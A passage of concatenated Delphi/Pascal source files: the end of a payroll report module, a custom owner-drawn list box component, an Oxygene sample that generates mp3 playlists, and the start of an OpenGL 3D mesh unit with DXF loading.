IniFileNameReportByTypeSimpleReestr(AParameter.TypeSimpleReestr),
VNameReport);
IniFile.Free;
SimpleReport.Clear;
SimpleReport.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
SimpleReport.Variables.Clear;
SimpleReport.Variables[' '+'User Category']:=NULL;
SimpleReport.Variables.AddVariable('User Category',
'PPeriod',
''''+KodSetupToPeriod(AParameter.SvodParam.Kod_setup,4)+'''');
Screen.Cursor:=crDefault;
if zDesignReport then
SimpleReport.DesignReport else
SimpleReport.ShowReport;
SimpleReport.Free;
finally
CloseWaitForm(wf);
end;
end;
procedure TSimpleDM.SimpleReportGetValue(const VarName: String; var Value: Variant);
var tempIdMan:Integer;
begin
case PTypeSimpleReestr of
tsrInvalid:
begin
DSetData.RecNo:=UserDSet.RecNo+1;
if not DSetData.Bof then
begin
DSetData.Prior;
tempIdMan:=DSetData['ID_MAN'];
DSetData.Next;
end
else
begin
tempIdMan:=-1;
PLine:=0;
end;
if UpperCase(VarName)='PLINE' then
begin
inc(PLine);
Value:=IfThen(tempIdMan<>DSetData['ID_MAN'],PLine,'');
end;
if UpperCase(VarName)='P_FIO' then
Value:=IfThen(tempIdMan<>DSetData['ID_MAN'],DSetData['FIO'],'');
if UpperCase(VarName)='P_TN' then
Value:=IfThen(tempIdMan<>DSetData['ID_MAN'],DSetData['TN'],'');
if UpperCase(VarName)='P_SUMMA' then Value:=DSetData['SUMMA'];
if UpperCase(VarName)='P_SUMMA_DOG_PODR' then Value:=DSetData['SUMMA_DOG_PODR'];
if UpperCase(VarName)='P_CODE_DEPARTMENT' then Value:=DSetData['CODE_DEPARTMENT'];
if UpperCase(VarName)='P_PERIOD' then Value:=KodSetupToPeriod(DSetData['KOD_SETUP_O2'],1);
end;
tsrNarLimit:
begin
if UpperCase(VarName)='P_SUMMA_FACT' then Value:=DSetData['SUMMA_FACT'];
if UpperCase(VarName)='P_SUMMA_NAR' then Value:=DSetData['SUMMA_NAR'];
if UpperCase(VarName)='P_SUMMA_RAZN' then Value:=DSetData['SUMMA_RAZN'];
if UpperCase(VarName)='P_ALLDAY' then Value:=DSetData['ALLDAY'];
if UpperCase(VarName)='P_FACT_DAY' then Value:=DSetData['FACT_DAY'];
end;
tsrInvalid2:
begin
{ DSetData.RecNo:=UserDSet.RecNo+1;
if not DSetData.Bof then
begin
DSetData.Prior;
tempIdMan:=DSetData['ID_MAN'];
DSetData.Next;
end
else
begin
tempIdMan:=-1;
PLine:=0;
end;
if UpperCase(VarName)='PLINE' then
begin
inc(PLine);
Value:=IfThen(tempIdMan<>DSetData['ID_MAN'],PLine,'');
end;
if UpperCase(VarName)='P_FIO' then
Value:=IfThen(tempIdMan<>DSetData['ID_MAN'],DSetData['FIO'],'');
if UpperCase(VarName)='P_TN' then
Value:=IfThen(tempIdMan<>DSetData['ID_MAN'],DSetData['TN'],'');
if UpperCase(VarName)='P_SUMMA' then Value:=DSetData['SUMMA'];
if UpperCase(VarName)='P_CODE_DEPARTMENT' then Value:=DSetData['NAME_SMETA'];}
if UpperCase(VarName)='P_PERIOD' then Value:=KodSetupToPeriod(DSetData['KOD_SETUP_O2'],1);
end;
tsrSumMoreVidrah:
begin
DSetData.RecNo:=UserDSet.RecNo+1;
if UpperCase(VarName)='P_TN' then
begin
Value:=IfThen(PTn<>DSetData['TN'],DSetData['TN'],'');
PTn:=DSetData['TN'];
end;
if UpperCase(VarName)='P_FIO' then
begin
Value:=IfThen(PId_man<>DSetData['ID_MAN'],DSetData['FIO'],'');
PId_man:=DSetData['ID_MAN'];
end;
if UpperCase(VarName)='P_SUM_PENS' then Value:=DSetData['SUM_PENS'];
if UpperCase(VarName)='P_SUM_SOC' then Value:=DSetData['SUM_SOC'];
if UpperCase(VarName)='P_SUM_FZAN' then Value:=DSetData['SUM_FZAN'];
if UpperCase(VarName)='P_SUM_INV' then Value:=DSetData['SUM_INV'];
if UpperCase(VarName)='P_PERIOD' then Value:=KodSetupToPeriod(DSetData['KOD_SETUP3'],1);
end;
tsrPererah:
begin
if UpperCase(VarName)='P_PERIOD' then Value:=KodSetupToPeriod(DSetData['KOD_SETUP3'],1);
end;
tsrPFU:
begin
if UpperCase(VarName)='P_PERIOD' then Value:=KodSetupToPeriod(DSetData['KOD_SETUP3'],1);
end;
tsrAccrualSingleForManAll:
begin
if UpperCase(VarName)='FILTER' then
value:=''
end;
tsrAccrualSingleForInvalid:
begin
if UpperCase(VarName)='FILTER' then
value:='(працюючі інваліди)'
end;
tsrAccrualSingleForManOwer:
begin
if UpperCase(VarName)='FILTER' then
value:='(перевищення)'
end;
tsrAccrualSingle:
begin
if UpperCase(VarName)='FILTER' then
value:='';
end
else
exit;
end;
end;
end.
|
unit ButtonListBox;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TButtonListBox = class(TListBox)
private
FDepth: integer;
FNormalColor: TColor;
FSelectFontColor: TColor;
FHighLight: TColor;
FFace: TColor;
FShadow: TColor;
//facebmp: TBitmap;
protected
public
constructor Create (AOwner: TComponent); override;
destructor Destroy; override;
procedure DrawItem (Index: Integer; Rect: TRect; State: TOwnerDrawState); override;
published
property Depth: integer read FDepth write FDepth;
property NormalFontColor: TColor read FNormalColor write FNormalColor;
property SelectFontColor: TColor read FSelectFontColor write FSelectFontColor;
property HighlightColor: TColor read FHighlight write FHighlight;
property FaceColor: TColor read FFace write FFace;
property ShadowColor: TColor read FShadow write FShadow;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Zura', [TButtonListBox]);
end;
constructor TButtonListBox.Create (AOwner: TComponent);
begin
inherited Create (AOwner);
ItemHeight := 24;
FNormalColor := Font.Color;
FSelectFontColor := clWhite;
FHighlight := clBtnHighlight;
FFace := clBtnFace;
FShadow := clBtnShadow;
//facebmp := TBitmap.Create;
//facebmp.LoadFromFile ('data\새 폴더\돌색.bmp');
end;
destructor TButtonListBox.Destroy;
begin
//facebmp.Free;
inherited Destroy;
end;
//State: odSelected, odGrayed, odDisabled, odChecked, odFocused
procedure TButtonListBox.DrawItem (Index: Integer; Rect: TRect; State: TOwnerDrawState);
procedure rectangle (paper: TCanvas; rc: TRect; color: TColor);
var
i: integer;
old: TColor;
begin
old := paper.Pen.Color;
paper.Pen.Color := color;
for i:=rc.Top to rc.Bottom do begin
paper.MoveTo (rc.Left, i);
paper.LineTo (rc.Right, i);
end;
paper.Pen.Color := old;
end;
var
i, fcolor, bcolor, fontcolor, oldcolor: integer;
srcrc: TRect;
begin
//srcrc.Left := 0;
//srcrc.Top := 0;
//srcrc.Right := Rect.Right - Rect.Left;
//srcrc.Bottom := Rect.Bottom - Rect.Top;
//Canvas.CopyRect(Rect, facebmp.Canvas, srcrc);
if odSelected in State then begin
fcolor := ShadowColor;
bcolor := HighlightColor;
fontcolor := FSelectFontColor;
Canvas.Brush.Color := ShadowColor; //FaceColor;
Canvas.FillRect (Rect);
rectangle (Canvas, Rect, FaceColor);
end else begin
fcolor := HighlightColor;
bcolor := ShadowColor;
fontcolor := FNormalColor;
Canvas.Brush.Color := FaceColor;
Canvas.FillRect (Rect);
rectangle (Canvas, Rect, FaceColor);
end;
Canvas.Pen.Color := fcolor;
for i:=1 to Depth do begin
Canvas.MoveTo (Rect.Left+i, Rect.Top+i);
Canvas.LineTo (Rect.Right-i+1, Rect.Top+i);
Canvas.MoveTo (Rect.Left+i, Rect.Top+i);
Canvas.LineTo (Rect.Left+i, Rect.Bottom-i+1);
end;
Canvas.Pen.Color := bcolor;
for i:=1 to Depth do begin
Canvas.MoveTo (Rect.Left+i, Rect.Bottom-i+1);
Canvas.LineTo (Rect.Right-i+1, Rect.Bottom-i+1);
Canvas.MoveTo (Rect.Right-i+1, Rect.Bottom-i+1);
Canvas.LineTo (Rect.Right-i+1, Rect.Top+i);
end;
oldcolor := Canvas.Font.Color;
SetBkMode (Canvas.Handle, TRANSPARENT);
Canvas.Font.Color := fontcolor;
if odSelected in State then
Canvas.TextOut (Rect.Left + (Rect.Right-Rect.Left - Canvas.TextWidth(Items[Index])) div 2 + 1,
Rect.Top + (Rect.Bottom-Rect.Top - Canvas.TextHeight(Items[Index])) div 2 + 1,
Items[Index])
else
Canvas.TextOut (Rect.Left + (Rect.Right-Rect.Left - Canvas.TextWidth(Items[Index])) div 2,
Rect.Top + (Rect.Bottom-Rect.Top - Canvas.TextHeight(Items[Index])) div 2,
Items[Index]);
Canvas.Font.Color := oldcolor;
end;
end.
|
namespace PlayLister;
{ RemObjects Oxygene Sample application
This application loops over all mp3 files in a given folder hierarchy
and creates recursive .m3u playlist files }
interface
uses System.*;
type
ConsoleApp = class
private
class var
fFiles: ArrayList;
fMusicFolder, fOutFolder, fPrefix: String;
class method ProcessFolder(aName: String);
public
class method Main(args: array of String);
end;
implementation
class method ConsoleApp.ProcessFolder(aName: string);
var
lFiles: array of String;
lFilename: String;
begin
//Console.WriteLine('Folder :'+ aName);
lFiles := Directory.GetFiles(aName);
if aName = fMusicFolder then
lFilename := 'All.m3u'
else
lFilename := aName.SubString(length(fMusicFolder)+1).Replace('\','-')+'.m3u';
Console.WriteLine(lFilename);
{ Notice the use of the "using" block, which ensures that the method IDisposable.Dispose will
be called at the end of the block. FileStream supports IDisposable. }
using lFile: FileStream := new FileStream(fOutFolder+'\'+lFilename, FileMode.&Create) do begin
using lWriter: StreamWriter := new StreamWriter(lFile) do begin
fFiles.Add(lWriter);
lWriter.WriteLine('#EXTM3U');
for f: String in lFiles do begin
if Path.GetExtension(f) = '.mp3' then begin
lFilename := fPrefix+f.SubString(length(fMusicFolder));
for w: StreamWriter in fFiles do begin
w.WriteLine(lFilename);
end;
end;
end;
lFiles := Directory.GetDirectories(aName);
for f: String in lFiles do begin
ProcessFolder(f);
end;
fFiles.Remove(lWriter);
end;
end;
end;
class method ConsoleApp.Main(args: array of string);
begin
Console.WriteLine('Oxygene mp3 Playlist Maker');
Console.WriteLine('Free and unsupported, use at your own risk.');
Console.WriteLine();
fFiles := new ArrayList();
fPrefix := '..\Music';
fMusicFolder := 'g:\Music';
fOutFolder := 'g:\Playlists';
if length(args) = 1 then begin
fMusicFolder := Path.Combine(args[0],'Music');
fOutFolder := Path.Combine(args[0],'Playlists');
end
else if length(args) > 1 then begin
fMusicFolder := args[0];
fOutFolder := args[1];
if length(args) >= 3 then
fPrefix := args[2];
end
else begin
Console.WriteLine('Syntax');
Console.WriteLine(' PlayLister <Gmini drive>');
Console.WriteLine(' PlayLister <MusicFolder> <PlaylistFolder> [<Path Prefix in m3u>]');
Console.WriteLine;
Console.WriteLine('Examples:');
Console.WriteLine(' PlayLister g:\');
Console.WriteLine(' PlayLister x:\Music x:\Playlists');
Console.WriteLine(' PlayLister x:\Music x:\Playlists ..\Music');
Console.WriteLine(' PlayLister x:\Music x:\Playlists \MyMusic');
Console.WriteLine;
Console.WriteLine(' The first syntax assumes that the \Music and \Playlists folders are');
Console.WriteLine(' located in the root of the specified drive and the ..\Music path prefix.');
Console.WriteLine;
Console.WriteLine(' If no path prefix is specified ..\Music will always be assumed.');
Console.WriteLine;
exit;
end;
Console.WriteLine('Music folder: '+ fMusicFolder);
Console.WriteLine('Playlist folder: '+ fOutFolder);
ProcessFolder(fMusicFolder);
//Console.ReadLine();
end;
end. |
{HACER QUE TODO TPOINT APUNTE SIEMPRE
A SUS VERTICES Y QUE DEJE DE HACERLO SI
UN VERTICE SE DESPRENDE}
{ELIMINAR CAMPO REFERENCES DE TPOINT}
{3D object handling. this unit is related to uRickGL
Tentity: an entity or object
tface: a face of an entity, each entity has many faces
Tvertex: a vertex of a face, each face has many vertices.
By: Ricardo Sarmiento
delphiman@hotmail.com }
unit n3Dpolys;
interface
uses classes, SysUtils, gl, glu;
{MWMWMWMWMWMWMWMWMWMW Classes definition MWMWMWMWMW}
type
tface = class;
TGLpoint = class;
Ttexture = class;
Tentity = class(Tobject)
{entity or object or 3D mesh}
Faces: TList;
{2D polygons list belonging to the mesh}
Points: TList;
{list of all the vertices of the entity}
R, G, B: Byte;
{default color to use }
Position: array[1..3] of single;
{position of entity in space X,Y,Z}
rotation: array[1..3] of single;
{Orientation, Rx,Ry,Rz}
id: GLuInt;
{entity's identIfier, optional}
Texture: Ttexture;
{pointer to a texture}
wireframe: byte;
{0: use points,
1:use wireframes,
2: use solid poligons}
constructor Create;
{create a zero-polygon entity}
destructor Destroy; override;
procedure Load(st: string);
{load from proprietary file format}
procedure Save(st: string);
{not yet implemented}
procedure SetColor(iR, iG, iB: Byte);
{change entityīs color}
procedure Move(X, Y, Z: single);
{move entity to new position}
procedure Rotate(Rx, Ry, Rz: single);
{turn entity to new orientation}
procedure Redraw;
{construct the entity using OpenGL commands}
procedure LoadDXF(st: string);
{Read DXF file in ST and generate the mesh}
procedure CalcNormals;
{calculate normals for each vertex}
procedure Center; {find the geometric center of the entity
and put it at 0,0,0}
function AddFace: tface;
{add a new, empty face to the entity}
function FindPoint(ix, iy, iz: single): TGLpoint;
{search for a point near ix,iy,iz}
function CreateTexture: TTexture;
{create and assign a texture to the entity}
end; {Tentity} {useful when rotating entity around itīs center}
tface = class(Tobject) {a face or polygon of an entity}
Vertices: Tlist; {the meshīs vertex list}
r, g, b: Byte; {face color}
Owner: Tentity; {points to the owner entity}
ApplyTexture: boolean; {use texturing or not in this face}
constructor Create(iOwner: Tentity);
{create the face and assign its owner entity}
destructor Destroy; override;
procedure AddVertex(x, y, z, nx, ny, nz: single);
{add vertex at X,Y,Z with normal nx,ny,nz}
procedure Redraw;
{draw face using OpenGL commands}
{calculate normal given 3 points of the face,
normally not called directly}
procedure CalcNormal(uno, dos, tres: integer;
var inx, iny, inz: single);
procedure SetColor(ir, ig, ib: Byte);
{set the desired color of the face}
end; {tface}
TGLpoint = class(Tobject) {a colored point in space}
x, y, z: single; {position x,y,z}
r, g, b: Byte; {vertexīs color, rgb}
References: Byte; {number of vertices using the point
for color and position}
Vertices: Tlist;
constructor Create(ix, iy, iz: single);
{set position and References to 0}
destructor Destroy; override;
procedure SetColor(ir, ig, ib: Byte);
{set the desired color of the point}
procedure SetPosition(ix, iy, iz: single);
{move the point to Set place}
end; {TGLpoint}
Tvertex = class(Tobject) {a vertex of a flat polygon}
nx, ny, nz: single; {normal vector,
each vertex has itīs own normal vector,
this is useful for certain tricks}
point: TGLpoint; {points to position and color data}
Owner: Tface; {points to the face that owns the vertex}
Tx, Tz: single; {Texture X and Z coordinates}
constructor Create(iowner: Tface; inx, iny, inz: single);
{create vertex with its normal}
procedure SetColor(ir, ig, ib: Byte);
{set the desired individual color of the vertex}
procedure SetPosition(ix, iy, iz: single);
{move individually the vertex to a dIfferent place}
procedure MakeCopy;
{create a new Tpoint instance,
so that the vertex can
modIfy individualy the color and position}
end; {Tvertex}
Ttexture = class(Tobject) {a texture}
Automatic: boolean;
{use or not automatic texture coordinates generation}
AutoXmult: array[0..3] of GLint;
{multiply values for X coordinate}
AutoZmult: array[0..3] of GLint;
{multiply values for Z coordinate}
AutoGenModeX: GLint;
{coordinate calculation algorithm to be used: }
AutoGenModeZ: GLint;
{GL_object_linear, GL_Eye_linear or GL_Sphere_map}
WrapSMode: Glint;
WrapTMode: Glint;
MagFilter: Glint;
MinFilter: Glint;
EnvironmentMode: GLint;
{GL_decal, GL_modulate or GL_blend}
EnvBlendColor: array[0..3] of byte;
{RGBA color if EnvironmentMode is blend}
Owner: Tentity; {a texture can be owned by an Entity}
MyList: GLsizei; {number of the display list for this texture}
constructor Create(iowner: Tentity); {set defaults for all fields}
destructor destroy; override; {destroy the display list}
function LoadTexture(st: string): shortint;
{load a new texture file,
return 0 if ok,
negative number if error}
procedure Redraw;
{call the display list,
itīs not really a redraw, itīs part of one}
end; {Ttexture}
{global constants}
{const
MinimalDistance = 0.0001;}
{If two points are this far from each other,
they can be considered to be in the same position}
var {global variables}
MinimalDistance:Double;
// these two variables are used in this unit
//and in unit UrickGL:
PutNames: boolean;
{If true put names to vertex
and entity primitives when rendering}
ActualVertexNumber: LongInt;
{used to mark every vertex
with a dIfferent name in every entity}
implementation
{MWMWMWMWMW IMPLEMENTATION of the CLASSES MWMWMWMWMWMW}
constructor Tentity.create;
begin
inherited create;
id := 0;
MinimalDistance := 0.0001;
{initiallly this value has no importance}
Faces := Tlist.create;
Points := Tlist.create;
SetColor(128, 128, 128); {use a medium grey color}
wireframe := 2; {by default use solid polygons for rendering}
end;
destructor Tentity.destroy;
begin
Points.Free;
Faces.Free;
inherited Destroy;
end;
procedure Tentity.Load(st: string);
var
f: file;
numFaces,
NumPoints,
NumTextures,
i, j: LongInt;
IdData: array[0..3] of char;
Reserved: array[1..20] of Byte;
ix, iy, iz: single;
inx, iny, inz: single;
ir, ig, ib: Byte;
Point: TGLpoint;
Face: Tface;
Vertex: Tvertex;
PointNum: longint;
numVertices: byte;
{this limits the vertex count for each polygon
to less than 255 vertices, more than enough}
Version,
SubVersion: byte;
begin
assignFile(f, st);
if not FileExists(st) then
exit;
Reset(f, 1);
BlockRead(f, IdData, sizeof(IdData));
BlockRead(f, Version, sizeof(version));
BlockRead(f, SubVersion, sizeof(SubVersion));
if version = 1 then
begin
{first clear old data stored in object}
Faces.Clear;
Points.Clear;
{then, begin to read new data}
BlockRead(f, ir, sizeof(ir));
BlockRead(f, ig, sizeof(ig));
BlockRead(f, ib, sizeof(ib));
SetColor(ir, ig, ib);
BlockRead(f, numFaces, sizeof(numFaces));
BlockRead(f, numPoints, sizeof(numPoints));
BlockRead(f, numTextures, sizeof(numTextures));
{not used yet}
BlockRead(f, Reserved, sizeof(Reserved));
{for future purposes}
{read Points}
i := 0;
while i < NumPoints do
begin
BlockRead(f, ix, sizeof(ix));
BlockRead(f, iy, sizeof(iy));
BlockRead(f, iz, sizeof(iz));
BlockRead(f, ir, sizeof(ir));
BlockRead(f, ig, sizeof(ig));
BlockRead(f, ib, sizeof(ib));
Point := TGLpoint.create(ix, iy, iz);
Point.SetColor(ir, ig, ib);
Points.add(point);
inc(i);
end;
{Read faces}
i := 0;
while i < NumFaces do
begin
BlockRead(f, ir, sizeof(ir));
BlockRead(f, ig, sizeof(ig));
BlockRead(f, ib, sizeof(ib));
BlockRead(f, numVertices, SizeOf(numVertices));
Face := AddFace;
Face.SetColor(ir, ig, ib);
j := 0;
while j < NumVertices do
begin
BlockRead(f, inx, sizeof(inx));
BlockRead(f, iny, sizeof(iny));
BlockRead(f, inz, sizeof(inz));
BlockRead(f, PointNum, sizeof(PointNum));
Vertex := Tvertex.create(Face, inx, iny, inz);
Vertex.Point := TGLpoint(Points.items[PointNum]);
Vertex.Point.Vertices.add(Vertex);
{the point must have the references to its vertices}
inc(Vertex.Point.references);
Face.Vertices.add(vertex);
inc(j);
end;
inc(i);
end;
{Read Texture coordinates, not yet implemented}
end;
CloseFile(f);
end;
procedure Tentity.Save(st: string);
var
f: file;
numFaces,
NumPoints,
NumTextures,
i, j: LongInt;
IdData: array[0..3] of char;
Reserved: array[1..20] of Byte;
Point: TGLpoint;
Face: Tface;
Vertex: Tvertex;
PointNum: longint;
numVertices: byte;
{this limits the vertex count for each polygon
to less than 255 vertices, more than enough}
Version,
SubVersion: byte;
begin
assignFile(f, st);
ReWrite(f, 1);
IdData[0] := '3';
IdData[1] := 'D';
IdData[2] := 'P';
IdData[3] := 'F';
{3DPF: 3D Proprietary Format}
Version := 1; {this file was stored using algorithm version 1. }
SubVersion := 0; {this file was stored using algorithm version .0}
NumFaces := Faces.count;
NumPoints := Points.Count;
NumTextures := 0; {by now no textures are allowed}
BlockWrite(f, IdData, sizeof(IdData));
BlockWrite(f, Version, sizeof(Version));
BlockWrite(f, SubVersion, sizeof(SubVersion));
BlockWrite(f, r, sizeof(r));
BlockWrite(f, g, sizeof(g));
BlockWrite(f, b, sizeof(b));
BlockWrite(f, NumFaces, sizeof(NumFaces));
BlockWrite(f, NumPoints, sizeof(NumPoints));
BlockWrite(f, NumTextures, sizeof(NumTextures));
{not used yet}
BlockWrite(f, Reserved, sizeof(Reserved));
{for future purposes}
{Write Points}
i := 0;
while i < NumPoints do
begin
Point := TGLpoint(Points.items[i]);
with point do
begin
BlockWrite(f, x, sizeof(x));
BlockWrite(f, y, sizeof(y));
BlockWrite(f, z, sizeof(z));
BlockWrite(f, r, sizeof(r));
BlockWrite(f, g, sizeof(g));
BlockWrite(f, b, sizeof(b));
end;
inc(i);
end;
{Write faces}
i := 0;
while i < NumFaces do
begin
Face := Tface(Faces.items[i]);
with face do
begin
NumVertices := Vertices.count;
BlockWrite(f, r, sizeof(r));
BlockWrite(f, g, sizeof(g));
BlockWrite(f, b, sizeof(b));
BlockWrite(f, NumVertices, SizeOf(NumVertices));
end;
j := 0;
while j < NumVertices do
begin
Vertex := Tvertex(Face.vertices.items[j]);
with Vertex do
begin
PointNum := Points.Indexof(Point);
BlockWrite(f, nx, sizeof(nx));
BlockWrite(f, ny, sizeof(ny));
BlockWrite(f, nz, sizeof(nz));
BlockWrite(f, PointNum, sizeof(PointNum));
end;
inc(j);
end;
inc(i);
end;
{Write Texture coordinates, not yet implemented}
CloseFile(f);
end;
procedure Tentity.SetColor;
begin
R := iR;
G := iG;
B := iB;
end;
procedure Tentity.Move;
begin
Position[1] := x;
Position[2] := y;
Position[3] := z;
end;
procedure Tentity.Rotate;
begin
rotation[1] := rx;
rotation[2] := ry;
rotation[3] := rz;
end;
procedure Tentity.Redraw;
var
i, num: integer;
begin
glMatrixMode(GL_MODELVIEW);
case wireframe of
0: GlPolygonMode(GL_FRONT_AND_BACK, GL_POINT);
1: GlPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
2: GlPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
end;
glLoadIdentity;
{reset the translation and Rotation values}
glTranslatef(Position[1], Position[2], Position[3]);
{translate, not the object but the coordinate system}
glRotatef(rotation[1], 1.0, 0.0, 0.0);
{same, rotate the coordinate system}
glRotatef(rotation[2], 0.0, 1.0, 0.0);
glRotatef(rotation[3], 0.0, 0.0, 1.0);
if Assigned(Texture) then
{there is a texture assigned}
Texture.redraw;
if PutNames then
{If this is active then each entity has itīs own name}
begin
GlLoadName(id);
GLPassThrough(id);
{it should be: GLfloat(id), but it wouldnīt compile}
end;
i := 0;
num := Faces.count;
while i < num do
begin
if PutNames then
begin
ActualVertexNumber := i; {from 0 to Faces.count-1}
ActualVertexNumber := ActualVertexNumber shl 16;
{a LongInt has 32 bits,
so this shifts the actual face number to the upper 16 bits}
end;
tface(Faces.items[i]).Redraw;
inc(i);
end;
end;
procedure Tentity.LoadDXF(st: string);
var
f: textfile;
st1, st2: string;
in_entities: boolean;
kind, group, err: integer;
analyzing: boolean;
x1, x2, y1, y2, z1, z2, x3, y3, z3, x4, y4, z4: single;
Face: tface;
procedure DivRectangle;
begin
Face := AddFace;
Face.AddVertex(x4, y4, z4, 0, 0, 1);
Face.AddVertex(x3, y3, z3, 0, 0, 1);
Face.AddVertex(x2, y2, z2, 0, 0, 1);
Face := AddFace;
Face.AddVertex(x4, y4, z4, 0, 0, 1);
Face.AddVertex(x2, y2, z2, 0, 0, 1);
Face.AddVertex(x1, y1, z1, 0, 0, 1);
end;
begin
{first clear old data stored in object}
Faces.Clear;
Points.Clear;
{then, begin}
assignfile(f, st);
reset(f);
in_entities := false;
repeat
readln(f, st1);
if st1 = 'ENTITIES' then in_entities := true;
until in_entities or eof(f);
analyzing := false;
kind := 0;
x1 := 0; x2 := 0; x3 := 0; x4 := 0;
y1 := 0; y2 := 0; y3 := 0; y4 := 0;
z1 := 0; z2 := 0; z3 := 0; z4 := 0;
if in_entities then
repeat
readln(f, st1);
readln(f, st2);
group := StrToInt(st1);
case group of
0: begin
if analyzing then
begin
case kind of
1: begin
if (x4 <> x3) or (y4 <> y3) or (z4 <> z3) then
DivRectangle
else
begin
Face := AddFace;
Face.AddVertex(x3, y3, z3, 0, 0, 1);
Face.AddVertex(x2, y2, z2, 0, 0, 1);
Face.AddVertex(x1, y1, z1, 0, 0, 1);
end;
end;
end; {case}
kind := 0;
end;
if st2 = '3DFACE' then
kind := 1; {line}
if kind > 0 then
analyzing := true;
end;
10: val(st2, x1, err);
20: val(st2, y1, err);
30: val(st2, z1, err);
11: val(st2, x2, err);
21: val(st2, y2, err);
31: val(st2, z2, err);
12: val(st2, x3, err);
22: val(st2, y3, err);
32: val(st2, z3, err);
13: val(st2, x4, err);
23: val(st2, y4, err);
33: val(st2, z4, err);
end; {of case}
until eof(f);
closefile(f);
end;
procedure Tentity.CalcNormals;
var
Face: tface;
i, j, numFaces, NumVertices: integer;
inx, iny, inz: single;
begin
i := 0;
numFaces := Faces.Count;
while i < numFaces do
begin
j := 0;
Face := tface(Faces.Items[i]);
numVertices := Face.Vertices.Count;
Face.CalcNormal(0, 1, 2, inx, iny, inz);
{it uses the 1st, 2nd and 3rd vertex of the face}
while j < numVertices do
begin
with Tvertex(Face.Vertices[j]) do
begin
nx := inx;
ny := iny;
nz := inz;
end;
inc(j);
end;
inc(i, 1);
end;
end;
procedure Tentity.Center;
var
j, NumPoints: integer;
x, y, z,
maxx, maxy, maxz,
minx, miny, minz,
cx, cy, cz: single;
begin
maxx := -100000000; maxy := -100000000; maxz := -100000000;
minx := 100000000; miny := 100000000; minz := 100000000;
{obtain the farthest vertices}
NumPoints := Points.Count;
j := 0;
while j < NumPoints do
begin
x := TGLpoint(Points.items[j]).x;
y := TGLpoint(Points.items[j]).y;
z := TGLpoint(Points.items[j]).z;
if x < minx then minx := x
else
if x > maxX then maxX := x;
if y < miny then miny := y
else
if y > maxy then maxy := y;
if z < minz then minz := z
else
if z > maxz then maxz := z;
inc(j);
end;
{calculate the center coordinates}
cx := minx + (maxx - minx) / 2;
cy := miny + (maxy - miny) / 2;
cz := minz + (maxz - minz) / 2;
{now move the vertices}
NumPoints := Points.Count;
j := 0;
while j < NumPoints do
begin
TGLpoint(Points.items[j]).x := TGLpoint(Points.items[j]).x - cx;
TGLpoint(Points.items[j]).y := TGLpoint(Points.items[j]).y - cy;
TGLpoint(Points.items[j]).z := TGLpoint(Points.items[j]).z - cz;
inc(j);
end;
end;
{add a new face to the entity}
function Tentity.AddFace;
begin
Result := tface.create(Self);
Faces.add(result);
Result.SetColor(r, g, b);
end;
{search for a point near to x,y,z}
function Tentity.FindPoint;
var
i, NumPoints: integer;
begin
Result := nil;
numPoints := Points.count;
i := 0;
while i < numPoints do
begin
with TGLpoint(points.items[i]) do
if SQR(x - ix) + SQR(y - iy) + SQR(z - iz) < MinimalDistance
then
begin
Result := TGLpoint(points.items[i]);
Exit;
end;
inc(i);
end;
end;
function Tentity.CreateTexture;
begin
Texture := Ttexture.create(self);
Result := texture;
end;
constructor tface.Create;
begin
inherited create;
Vertices := Tlist.create;
Owner := iOwner;
if Assigned(Owner.texture) then
ApplyTexture := true
{if there is a texture assigned,
then by default the polygon will be textured too}
else {the polygon wonīt have a texture on it}
ApplyTexture := false;
r := 128;
g := 128;
b := 128;
end;
destructor tface.Destroy;
begin
Vertices.free;
inherited destroy;
end;
procedure tface.AddVertex;
var
Vertex: Tvertex;
Point: TGLpoint;
begin
Vertex := Tvertex.create(Self, nx, ny, nz);
{the vertex is always created}
Point := Owner.FindPoint(x, y, z);
{find a very near point to x,y,z, If found it will be used}
if (Point = nil) or (point.r <> r)
or (point.g <> g) or (point.b <> b) then
{a near, same color point was not found}
begin
Point := TGLpoint.Create(x, y, z);
Point.SetColor(r, g, b);
Owner.Points.Add(Point);
end;
Vertex.Point := Point;
{reference the point...}
Point.vertices.add(vertex);
{...and the point also references the vertex}
inc(Point.References);
{now the vertex is referencing the point}
Vertices.Add(Vertex);
end;
procedure tface.Redraw;
var
i, num: LongInt;
manual: boolean;
begin
if PutNames then {each face has itīs own name}
begin
GlLoadName(ActualVertexNumber);
GlPassThrough(ActualVertexNumber);
{it should be:
GLfloat(ActualVertexNumber), but it wouldnīt compile}
end;
if not ApplyTexture or not Assigned(owner.texture) then
begin
gldisable(GL_texture_2d);
manual := true;
end
else
begin
glenable(gl_texture_2d);
manual := not owner.texture.automatic;
end;
glBegin(GL_POLYGON);
i := 0;
num := Vertices.count;
while i < num do
with Tvertex(Vertices.items[i]) do
begin
glnormal3f(nx, ny, nz);
glColor3ub(point.r, point.g, point.b);
if ApplyTexture and manual then
GlTexCoord2F(tx, 1 - tz);
glvertex3f(point.x, point.y, point.z);
inc(i);
end;
glEnd;
end;
procedure tface.CalcNormal;
var
longi, vx1, vy1, vz1, vx2, vy2, vz2: single;
begin
vx1 := Tvertex(Vertices.items[uno]).point.x
- Tvertex(Vertices.items[dos]).point.x;
vy1 := Tvertex(Vertices.items[uno]).point.y
- Tvertex(Vertices.items[dos]).point.y;
vz1 := Tvertex(Vertices.items[uno]).point.z
- Tvertex(Vertices.items[dos]).point.z;
vx2 := Tvertex(Vertices.items[dos]).point.x
- Tvertex(Vertices.items[tres]).point.x;
vy2 := Tvertex(Vertices.items[dos]).point.y
- Tvertex(Vertices.items[tres]).point.y;
vz2 := Tvertex(Vertices.items[dos]).point.z
- Tvertex(Vertices.items[tres]).point.z;
inx := vy1 * vz2 - vz1 * vy2;
iny := vz1 * vx2 - vx1 * vz2;
inz := vx1 * vy2 - vy1 * vx2;
{now reduce the vector to be unitary, length=1}
longi := sqrt(inx * inx + iny * iny + inz * inz);
if longi = 0 then
longi := 1; {avoid zero division error}
inx := inx / longi;
iny := iny / longi;
inz := inz / longi;
end;
procedure tface.SetColor;
begin
r := iR;
g := iG;
b := iB;
end;
constructor TGLpoint.Create;
begin
inherited Create;
References := 0;
Vertices := Tlist.create;
SetPosition(ix, iy, iz);
SetColor(128, 128, 128);
end;
destructor TGLpoint.Destroy;
var
i: integer;
begin
for i := 0 to vertices.count - 1 do
